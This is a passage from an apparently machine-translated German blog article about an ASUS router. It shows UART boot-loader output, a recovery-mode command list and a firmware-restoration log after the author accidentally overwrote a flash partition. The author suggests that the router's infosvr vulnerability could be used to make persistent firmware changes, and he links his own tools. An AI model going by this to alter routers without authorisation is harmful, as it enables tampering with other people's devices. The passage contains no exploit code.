Ich habe versehentlich etwas nach / dev / mtdblock2 umgeleitet . Es wird aufgezeichnet. Der Router hat funktioniert. Dann, als ich mich entschied, es neu zu starten, bootete es nicht. Nachdem ich gesehen hatte, was auf UART ausgegeben wurde, stellte ich fest, dass die Firmware immer noch beschädigt ist. Der Router wurde im Wiederherstellungsmodus gestartet (in diesem Modus funktioniert das Dienstprogramm Asus Firmware Restoration).

Wiederherstellungsmodus
========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode —
|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|


---RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)
no sys signature at 00010000!
Set 8196C PHY Patch OK

---Ethernet init Okay!

ps
Unknown command!

ls
Unknown command!

help
— COMMAND MODE HELP — HELP (?): Print this help message
D

DB

DW

EW

EB

CMP: CMP
IPCONFIG:
AUTOBURN: 0/1
LOADADDR:
J: Jump to
FLW : Write offset-data to SPI from RAM


Ohne nachzudenken, habe ich die gleiche Firmware-Wiederherstellung gestartet und die Firmware wiederhergestellt.
Zeigen Sie den Betrieb des Asus Firmware Restoration-Dienstprogramms an
D
Datei Start: 80500000, Länge = 0

** TFTP GET Datei ASUSSPACELINK1, Größe 0 Byte

** Dateiname: 31 13 FFFFFFFE FFFFFFA9 Byte
ausgeführt ASUSSPACELINK

** TFTP Client Upload, Dateiname: ASUSSPACELINK

** TFTP Client Upload Dateigröße = 278ABC Bytes bei 80500000

Erfolg!

Upgrade des Linux-Kernels (root-fs).
Prüfsumme Ok!
brenn Addr = 0x10000! srcAddr = 0x80500000 len = 0xcd012

#### head_offset: 0 (0x0), flash_burnAddr: 0x10000, is_firmware: 1

#### Start to burn ...
...
Flash Write Successed!

Upgrade des Root-Dateisystems.
Prüfsumme Ok!
brenn Addr = 0x100000! srcAddr = 0x805cd022 len = 0x1aba9a

#### head_offset: 839698 (0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1

#### Start to burn ...
...
Flash Write Successed!

Neustart .......


Die Tatsache, dass die Firmware in einem laufenden Router beschädigt wurde, lässt darauf schließen, dass Sie diese Sicherheitsanfälligkeit ändern können. Dann bleiben die Änderungen auf dem Router dauerhaft erhalten, und zwar nicht nur bis zum Neustart, wie es bisher der Fall war.
Aber ich habe weder die Zeit noch den Wunsch, dies zu studieren.



AsusRouterTools- Quellen sowie Windows- Binärdateien finden Sie im Repository auf GitHub.

Z.Y. Da ich mit infosvr herausgefunden habe , warum sollte ich es nicht auch für den vorgesehenen Zweck verwenden? AsusDiscover ist das einzige, was nach der Installation der Firmware mit der behobenen Sicherheitsanfälligkeit weiterhin funktioniert.

Konsolenversion von Device Discovery


PS Dies ist meine erste Veröffentlichung, daher freue ich mich über Ratschläge und Kommentare sowohl zum Artikel als auch zum Programmcode.

PPS Ein bisschen Empörung: Habrahabr sollte die Oberfläche zum Schreiben von Artikeln vor versehentlicher Veröffentlichung schützen. Irgendwie habe ich Enter gedrückt - und der "Veröffentlichen" -Button hat funktioniert. Sie müssen entweder eine Art Sicherheits-Checkbox hinzufügen oder vor der Veröffentlichung erneut nachfragen oder die Möglichkeit geben, die Versendung zur Veröffentlichung sofort zurückzuziehen. Ja, und so ein großes ... Sie können es verpassen und stecken anstatt der "Vorschau". Warum ist das nicht durchdacht?

UPD: Nutzt zusammen mit Readern (@ a553) behobene Fehler aus, die zum Absturz führen, wenn eine Antwort von einigen Routern empfangen wird. Weitere Details in diesem Kommentar.

Jetzt auch beliebt: